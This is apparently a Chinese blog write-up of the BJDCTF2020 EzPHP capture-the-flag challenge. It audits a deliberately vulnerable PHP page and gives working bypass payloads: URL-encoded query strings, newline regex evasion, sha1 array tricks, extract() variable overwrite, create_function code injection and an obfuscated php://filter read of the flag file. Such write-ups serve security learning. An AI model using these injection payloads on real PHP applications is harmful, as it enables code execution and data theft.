BUUCTF-WEB [BJDCTF2020]EzPHP 1

考点&知识点

代码审计

解题过程

分析

image-20211020155603043

打开是这个样,不能右键看源代码,通过view-source:的方式查看

image-20211020155716316

得到一串类似于base64的字符串

GFXEIM3YFZYGQ4A=

猜测是base32,解码得到

1nD3x.php

访问得到

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

代码审计

这需要绕过的条件比较多,我单独分开列出来。

if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        ) 

第一个条件就过滤了需要用到的关键字,这个正则匹配的是$_SERVER['QUERY_STRING']里的内容,这个数组变量的值保存的是查询的字符串?query=1&,也就是?后面的字符串。

对参数进行url编码后,拿到的也是编码后的内容,这个正则我们可以通过url编码绕过。

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 

这里有两个条件,第一个条件过滤了httphttps关键字。下面的就是正则字符匹配的双标操作,既要等于这个字符串又不能是这个字符串,遇到/^aqua_is_cute$/,可以在末尾加上%0a,%0a就是换行,就可以绕过。

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

这个正则就有点狠,直接对$_REQUEST数组进行变量,把该数组中所有的属性值都进行正则匹配,不能有字母。以我的思路,到这就做不动了,还是看师傅们的wp,当我们同时提交get和post请求时,这个foreach是以post请求优先进行遍历。此时的$_REQUEST就是post传入的内容,所以这里同时传入file和debu参数即可绕过。(这个如果post跟get请求都有file参数,那么就只会遍历post的file参数)

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

只要绕过了前面几个条件,这个还是比较容易,不能使用httphttps,这里可以使用data协议。

data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

老知识点了,sha1加密的双标操作,数组绕过即可。绕过后,会执行extract函数,这个函数可以进行进行变量覆盖,这里我们需要覆盖的是 c o d e 和 code和 codearg。

flag[code]=覆盖$code变量的值
flag[arg]=覆盖$arg变量的值
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

接下来,最后一个条件,也是利用点,$code('', $arg); ,这里可以使用create_function函数,这里有个下划线,正则匹配的是只能是数字和字母,并且以数字字母开头结尾,直接绕过,create_function函数的利用方式另一篇有讲。另一个条件,可以看到过滤了很多关键字,但是没有过滤var_dumpget_defined_vars函数,这里通过var_dumpget_defined_vars输出全部变量的值。

最终构建的payload

debu=aqua_is_cute%0a&file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&shana[]=a&passwd[]=b&flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

但是要进行rul编码

get

1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//

post

file=1&debu=2

回显

image-20211020170242741

再次读取

注意:这里使用system函数执行命令,是没有回显的。

这里使用require函数用php://filter协议进行读取

payload

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

当然,这里面有很多关键字被过滤掉了,这里对内容进行取反进行url编码得到得到

%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

再次提交

get

1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

post

file=1&debu=2

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezFhNDM5N2MwLWI5ODctNGU4Mi04NjY3LTJiOGRiNDkyOGJiMn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
	echo "å’¦ï¼Œä½ å±
ç„¶æ‰¾åˆ°æˆ‘äº†ï¼Ÿï¼ä¸è¿‡çœ‹åˆ°è¿™å¥è¯ä¹Ÿä¸ä»£è¡¨ä½ å°±èƒ½æ‹¿åˆ°flag哦!";
	$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
	$rea1_f1114g = "flag{1a4397c0-b987-4e82-8667-2b8db4928bb2}";
	unset($rea1_f1114g);

完成

总结

比较喜欢做这类题目,像闯关一样,不仅能学到很多新知识点,还能一步步调试,分析程序执行过程。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值